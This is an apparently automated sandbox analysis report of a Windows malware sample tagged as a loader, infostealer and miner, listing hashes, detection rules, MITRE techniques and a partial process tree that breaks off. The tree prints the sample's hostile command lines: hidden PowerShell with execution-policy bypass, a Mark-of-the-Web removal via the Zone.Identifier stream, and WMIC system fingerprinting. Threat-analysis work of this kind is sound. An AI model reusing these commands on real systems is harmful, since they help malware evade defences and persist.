7a4b148dea15294bcdf0312c32dea96f83fc0fdccd79ba0f7366a35471ec429e

Analysis

max time kernel
60s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
17/07/2026, 08:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
Size 33.5MB
Sample260717-khymysbs8t
SHA256 7a4b148dea15294bcdf0312c32dea96f83fc0fdccd79ba0f7366a35471ec429e
MD5 0788bd5bcc10c81a70844454047b8bb7
SHA1 f96d8398199a2d90eac3b053e07100c14e4d075f
SHA512 2fa2876bd6492a6c5ff48122b63866b24f7ef6e5f3d74fe00856a9976d78f13deed1be1e517704e98056f0536f1a94d434b540d1ca566f7449f3a3799403e15f
SSDEEP 393216:xYjwHGplco5rnxsWqUH4BpmC5bWTjOArVx2WerV99kDfJWgH:S8m9xYUpCSPjderVQfJWg
TLSH
T153777CA696C900FCC4EA80BD487982F6FD363549D7314AFF824BA537AD23AE0C539745
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs

resource	yara_rule
behavioral1/files/0x00020000000233ad-31.dat	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral1/files/0x00020000000233ad-31.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral1/files/0x00020000000233ad-31.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables containing URLs to raw contents of a Github gist 1 IoCs

resource	yara_rule
behavioral1/files/0x00020000000233ad-31.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
15	4512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to get system information as a root user.

execution

PowerShell

T1059.001

pid	Process
5232	powershell.exe
6140	powershell.exe
2540	powershell.exe
6940	powershell.exe
5256	powershell.exe
5504	powershell.exe
4792	powershell.exe
2872	powershell.exe
5588	powershell.exe
6556	powershell.exe
6668	powershell.exe
5364	powershell.exe
5488	powershell.exe
3832	powershell.exe
4864	powershell.exe
1148	powershell.exe
5800	powershell.exe
712	powershell.exe
4892	powershell.exe
5300	powershell.exe
1436	powershell.exe
2392	powershell.exe
5760	powershell.exe
2072	powershell.exe
5872	powershell.exe
6708	powershell.exe
5860	powershell.exe
6988	powershell.exe
5884	powershell.exe
5536	powershell.exe
6612	powershell.exe
4616	powershell.exe
2440	powershell.exe
2244	powershell.exe
5516	powershell.exe
1396	powershell.exe
6820	powershell.exe
5792	powershell.exe
6856	powershell.exe
5492	powershell.exe
4900	powershell.exe
5508	powershell.exe
2188	powershell.exe
6848	powershell.exe
5800	powershell.exe
5532	powershell.exe
6356	powershell.exe
3676	powershell.exe
3996	powershell.exe
5372	powershell.exe
5188	powershell.exe
4080	powershell.exe
1332	powershell.exe
5608	powershell.exe
3936	powershell.exe
3536	powershell.exe
2064	powershell.exe
7144	powershell.exe
5888	powershell.exe
3320	powershell.exe
2628	powershell.exe
5952	powershell.exe
7084	powershell.exe
7120	powershell.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe

Looks for Xen service registry key. 1 TTPs 1 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xenevtchn	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe

Executes dropped EXE 2 IoCs

pid	Process
764	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
5028	s_1784277456970.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	reg.exe

Loads dropped DLL 3 IoCs

pid	Process
5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
5924	chrome.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
2844	tasklist.exe
3780	tasklist.exe
5764	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 50 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4160	cmd.exe
6048	cmd.exe
2880	cmd.exe
5292	cmd.exe
4212	cmd.exe
6404	cmd.exe
5960	cmd.exe
5324	cmd.exe
5204	cmd.exe
5892	cmd.exe
3988	cmd.exe
2560	cmd.exe
1184	cmd.exe
6424	cmd.exe
6824	cmd.exe
4844	cmd.exe
6936	cmd.exe
6768	cmd.exe
412	cmd.exe
5164	cmd.exe
4612	cmd.exe
5692	cmd.exe
3472	cmd.exe
2528	cmd.exe
1056	cmd.exe
6852	cmd.exe
6808	cmd.exe
2232	cmd.exe
4708	cmd.exe
4856	cmd.exe
3352	cmd.exe
7080	cmd.exe
6528	cmd.exe
3496	cmd.exe
1252	cmd.exe
7068	cmd.exe
7128	cmd.exe
3536	cmd.exe
3256	cmd.exe
5644	cmd.exe
464	cmd.exe
7020	cmd.exe
7112	cmd.exe
1236	cmd.exe
4660	cmd.exe
6148	cmd.exe
6252	cmd.exe
6836	cmd.exe
6484	cmd.exe
1276	cmd.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier	cmd.exe

System Time Discovery 1 TTPs 5 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1116	attrib.exe
2040	cmd.exe
5832	cmd.exe
2844	chrome.exe
5908	msedge.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2564	WMIC.exe
3092	WMIC.exe
4556	WMIC.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4044	ipconfig.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
1044	taskkill.exe
3996	taskkill.exe

Modifies registry key 1 TTPs 52 IoCs

Modify Registry

T1112

pid	Process
536	reg.exe
5652	reg.exe
5324	reg.exe
1840	reg.exe
4456	reg.exe
5276	reg.exe
4348	reg.exe
7096	reg.exe
712	reg.exe
5872	reg.exe
2552	reg.exe
2248	reg.exe
3712	reg.exe
2108	reg.exe
5268	reg.exe
3464	reg.exe
4200	reg.exe
412	reg.exe
6240	reg.exe
2124	reg.exe
5784	reg.exe
2312	reg.exe
1512	reg.exe
4844	reg.exe
6508	reg.exe
5784	reg.exe
5596	reg.exe
5792	reg.exe
5724	reg.exe
1476	reg.exe
1300	reg.exe
312	reg.exe
4640	reg.exe
6568	reg.exe
4292	reg.exe
1088	reg.exe
4844	reg.exe
5804	reg.exe
3136	reg.exe
6296	reg.exe
2404	reg.exe
4840	reg.exe
1840	reg.exe
5080	reg.exe
1252	reg.exe
3540	reg.exe
4976	reg.exe
5316	reg.exe
700	reg.exe
4140	reg.exe
1412	reg.exe
908	reg.exe

NTFS ADS 8 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe\:Zone.Identifier:$DATA	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe\:Zone.Identifier:$DATA	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe\:Zone.Identifier:$DATA	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe\:Zone.Identifier:$DATA	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe\:Zone.Identifier:$DATA	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe\:Zone.Identifier:$DATA	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
File created	C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier	cmd.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe\:Zone.Identifier:$DATA	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 50 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
7112	schtasks.exe
7084	schtasks.exe
1840	schtasks.exe
4132	schtasks.exe
3304	schtasks.exe
2292	schtasks.exe
4188	schtasks.exe
536	schtasks.exe
3536	schtasks.exe
5488	schtasks.exe
5792	schtasks.exe
6280	schtasks.exe
3992	schtasks.exe
4564	schtasks.exe
3476	schtasks.exe
3168	schtasks.exe
6840	schtasks.exe
6332	schtasks.exe
2576	schtasks.exe
4464	schtasks.exe
6124	schtasks.exe
3752	schtasks.exe
1784	schtasks.exe
4160	schtasks.exe
5332	schtasks.exe
7004	schtasks.exe
5300	schtasks.exe
6808	schtasks.exe
2416	schtasks.exe
7136	schtasks.exe
2440	schtasks.exe
3988	schtasks.exe
1960	schtasks.exe
6256	schtasks.exe
6208	schtasks.exe
6192	schtasks.exe
5984	schtasks.exe
6936	schtasks.exe
6196	schtasks.exe
4436	schtasks.exe
4944	schtasks.exe
1936	schtasks.exe
5332	schtasks.exe
4456	schtasks.exe
5844	schtasks.exe
6500	schtasks.exe
4764	schtasks.exe
2132	schtasks.exe
4668	schtasks.exe
5984	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6128	powershell.exe
6128	powershell.exe
3644	powershell.exe
3644	powershell.exe
448	powershell.exe
448	powershell.exe
2696	powershell.exe
2696	powershell.exe
5788	powershell.exe
5788	powershell.exe
3348	powershell.exe
3348	powershell.exe
1776	powershell.exe
1776	powershell.exe
4020	powershell.exe
4020	powershell.exe
3792	powershell.exe
3792	powershell.exe
4156	powershell.exe
4156	powershell.exe
2676	powershell.exe
2676	powershell.exe
2496	powershell.exe
2496	powershell.exe
5836	powershell.exe
5836	powershell.exe
3108	powershell.exe
3108	powershell.exe
4472	powershell.exe
4472	powershell.exe
4616	powershell.exe
4616	powershell.exe
1256	powershell.exe
1256	powershell.exe
5032	powershell.exe
5032	powershell.exe
1856	powershell.exe
1856	powershell.exe
2896	powershell.exe
2896	powershell.exe
3684	powershell.exe
3684	powershell.exe
5660	powershell.exe
5660	powershell.exe
5860	powershell.exe
5860	powershell.exe
3916	powershell.exe
3916	powershell.exe
1108	powershell.exe
1108	powershell.exe
5492	powershell.exe
5492	powershell.exe
4900	powershell.exe
4900	powershell.exe
4900	powershell.exe
4512	powershell.exe
4512	powershell.exe
4728	powershell.exe
4728	powershell.exe
4992	powershell.exe
4992	powershell.exe
5372	powershell.exe
5372	powershell.exe
5188	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6128	powershell.exe
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeIncreaseQuotaPrivilege	1748	WMIC.exe
Token: SeSecurityPrivilege	1748	WMIC.exe
Token: SeTakeOwnershipPrivilege	1748	WMIC.exe
Token: SeLoadDriverPrivilege	1748	WMIC.exe
Token: SeSystemProfilePrivilege	1748	WMIC.exe
Token: SeSystemtimePrivilege	1748	WMIC.exe
Token: SeProfSingleProcessPrivilege	1748	WMIC.exe
Token: SeIncBasePriorityPrivilege	1748	WMIC.exe
Token: SeCreatePagefilePrivilege	1748	WMIC.exe
Token: SeBackupPrivilege	1748	WMIC.exe
Token: SeRestorePrivilege	1748	WMIC.exe
Token: SeShutdownPrivilege	1748	WMIC.exe
Token: SeDebugPrivilege	1748	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1748	WMIC.exe
Token: SeRemoteShutdownPrivilege	1748	WMIC.exe
Token: SeUndockPrivilege	1748	WMIC.exe
Token: SeManageVolumePrivilege	1748	WMIC.exe
Token: 33	1748	WMIC.exe
Token: 34	1748	WMIC.exe
Token: 35	1748	WMIC.exe
Token: 36	1748	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1748	WMIC.exe
Token: SeSecurityPrivilege	1748	WMIC.exe
Token: SeTakeOwnershipPrivilege	1748	WMIC.exe
Token: SeLoadDriverPrivilege	1748	WMIC.exe
Token: SeSystemProfilePrivilege	1748	WMIC.exe
Token: SeSystemtimePrivilege	1748	WMIC.exe
Token: SeProfSingleProcessPrivilege	1748	WMIC.exe
Token: SeIncBasePriorityPrivilege	1748	WMIC.exe
Token: SeCreatePagefilePrivilege	1748	WMIC.exe
Token: SeBackupPrivilege	1748	WMIC.exe
Token: SeRestorePrivilege	1748	WMIC.exe
Token: SeShutdownPrivilege	1748	WMIC.exe
Token: SeDebugPrivilege	1748	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1748	WMIC.exe
Token: SeRemoteShutdownPrivilege	1748	WMIC.exe
Token: SeUndockPrivilege	1748	WMIC.exe
Token: SeManageVolumePrivilege	1748	WMIC.exe
Token: 33	1748	WMIC.exe
Token: 34	1748	WMIC.exe
Token: 35	1748	WMIC.exe
Token: 36	1748	WMIC.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeIncreaseQuotaPrivilege	3876	WMIC.exe
Token: SeSecurityPrivilege	3876	WMIC.exe
Token: SeTakeOwnershipPrivilege	3876	WMIC.exe
Token: SeLoadDriverPrivilege	3876	WMIC.exe
Token: SeSystemProfilePrivilege	3876	WMIC.exe
Token: SeSystemtimePrivilege	3876	WMIC.exe
Token: SeProfSingleProcessPrivilege	3876	WMIC.exe
Token: SeIncBasePriorityPrivilege	3876	WMIC.exe
Token: SeCreatePagefilePrivilege	3876	WMIC.exe
Token: SeBackupPrivilege	3876	WMIC.exe
Token: SeRestorePrivilege	3876	WMIC.exe
Token: SeShutdownPrivilege	3876	WMIC.exe
Token: SeDebugPrivilege	3876	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3876	WMIC.exe
Token: SeRemoteShutdownPrivilege	3876	WMIC.exe
Token: SeUndockPrivilege	3876	WMIC.exe
Token: SeManageVolumePrivilege	3876	WMIC.exe
Token: 33	3876	WMIC.exe
Token: 34	3876	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5924	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5768 wrote to memory of 6128	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	84
PID 6128 wrote to memory of 1268	6128	powershell.exe	86
PID 5768 wrote to memory of 3644	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	87
PID 5768 wrote to memory of 764	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	88
PID 3644 wrote to memory of 5084	3644	powershell.exe	90
PID 5084 wrote to memory of 1748	5084	cmd.exe	91
PID 5768 wrote to memory of 448	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	93
PID 448 wrote to memory of 5744	448	powershell.exe	95
PID 5744 wrote to memory of 3876	5744	cmd.exe	96
PID 5768 wrote to memory of 2696	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	97
PID 2696 wrote to memory of 2940	2696	powershell.exe	99
PID 2940 wrote to memory of 2564	2940	cmd.exe	100
PID 5768 wrote to memory of 5788	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	101
PID 5768 wrote to memory of 3348	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	103
PID 3348 wrote to memory of 864	3348	powershell.exe	105
PID 864 wrote to memory of 1400	864	cmd.exe	106
PID 5768 wrote to memory of 1776	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	107
PID 1776 wrote to memory of 432	1776	powershell.exe	109
PID 432 wrote to memory of 1104	432	cmd.exe	110
PID 5768 wrote to memory of 4020	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	111
PID 4020 wrote to memory of 3104	4020	powershell.exe	113
PID 3104 wrote to memory of 3092	3104	cmd.exe	114
PID 5768 wrote to memory of 3792	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	115
PID 5768 wrote to memory of 4156	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	117
PID 4156 wrote to memory of 3764	4156	powershell.exe	119
PID 3764 wrote to memory of 2124	3764	cmd.exe	120
PID 5768 wrote to memory of 2676	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	121
PID 2676 wrote to memory of 4916	2676	powershell.exe	123
PID 4916 wrote to memory of 1412	4916	cmd.exe	124
PID 5768 wrote to memory of 2496	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	125
PID 2496 wrote to memory of 4452	2496	powershell.exe	127
PID 4452 wrote to memory of 1840	4452	cmd.exe	128
PID 5768 wrote to memory of 5836	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	129
PID 5836 wrote to memory of 5340	5836	powershell.exe	131
PID 5340 wrote to memory of 3712	5340	cmd.exe	132
PID 5768 wrote to memory of 3108	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	133
PID 3108 wrote to memory of 4576	3108	powershell.exe	135
PID 4576 wrote to memory of 5080	4576	cmd.exe	136
PID 5768 wrote to memory of 4472	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	137
PID 4472 wrote to memory of 872	4472	powershell.exe	141
PID 872 wrote to memory of 5784	872	cmd.exe	142
PID 5768 wrote to memory of 4616	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	143
PID 4616 wrote to memory of 4980	4616	powershell.exe	146
PID 4980 wrote to memory of 2108	4980	cmd.exe	147
PID 5768 wrote to memory of 1256	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	148
PID 1256 wrote to memory of 5728	1256	powershell.exe	150
PID 5728 wrote to memory of 4456	5728	cmd.exe	151
PID 5768 wrote to memory of 5032	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	152
PID 5032 wrote to memory of 2116	5032	powershell.exe	154
PID 2116 wrote to memory of 5792	2116	cmd.exe	155
PID 5768 wrote to memory of 1856	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	156
PID 1856 wrote to memory of 1124	1856	powershell.exe	158
PID 1124 wrote to memory of 5872	1124	cmd.exe	159
PID 5768 wrote to memory of 2896	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	160
PID 2896 wrote to memory of 3284	2896	powershell.exe	162
PID 3284 wrote to memory of 5268	3284	cmd.exe	163
PID 5768 wrote to memory of 3684	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	164
PID 3684 wrote to memory of 4580	3684	powershell.exe	166
PID 4580 wrote to memory of 5724	4580	cmd.exe	167
PID 5768 wrote to memory of 5660	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	168
PID 5660 wrote to memory of 2088	5660	powershell.exe	170
PID 2088 wrote to memory of 1476	2088	cmd.exe	171
PID 5768 wrote to memory of 5860	5768	2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe	172
PID 5860 wrote to memory of 4908	5860	powershell.exe	174

Views/modifies file attributes 1 TTPs 50 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
204	attrib.exe
4696	attrib.exe
6196	attrib.exe
1556	attrib.exe
2100	attrib.exe
1840	attrib.exe
2932	attrib.exe
1116	attrib.exe
3164	attrib.exe
3452	attrib.exe
5592	attrib.exe
6800	attrib.exe
6416	attrib.exe
5832	attrib.exe
1116	attrib.exe
3648	attrib.exe
6192	attrib.exe
6724	attrib.exe
5540	attrib.exe
2616	attrib.exe
5136	attrib.exe
5508	attrib.exe
3444	attrib.exe
3928	attrib.exe
6488	attrib.exe
5840	attrib.exe
312	attrib.exe
6104	attrib.exe
6416	attrib.exe
4832	attrib.exe
2068	attrib.exe
7116	attrib.exe
4140	attrib.exe
2416	attrib.exe
4660	attrib.exe
7100	attrib.exe
7024	attrib.exe
6912	attrib.exe
3476	attrib.exe
4216	attrib.exe
3476	attrib.exe
2684	attrib.exe
4044	attrib.exe
5168	attrib.exe
3164	attrib.exe
7040	attrib.exe
5292	attrib.exe
6796	attrib.exe
2428	attrib.exe
4252	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Enumerates connected drives
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:5768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6128
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier 2>nul"
    3⤵
    - Subvert Trust Controls: Mark-of-the-Web Bypass
    - NTFS ADS
    PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic csproduct get uuid 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic csproduct get uuid 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1748
- C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
  C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe --watchdog 5768
  2⤵
  - Executes dropped EXE
  PID:764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic cpu get Name /format:csv'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:448
- - C:\Windows\system32\cmd.exe
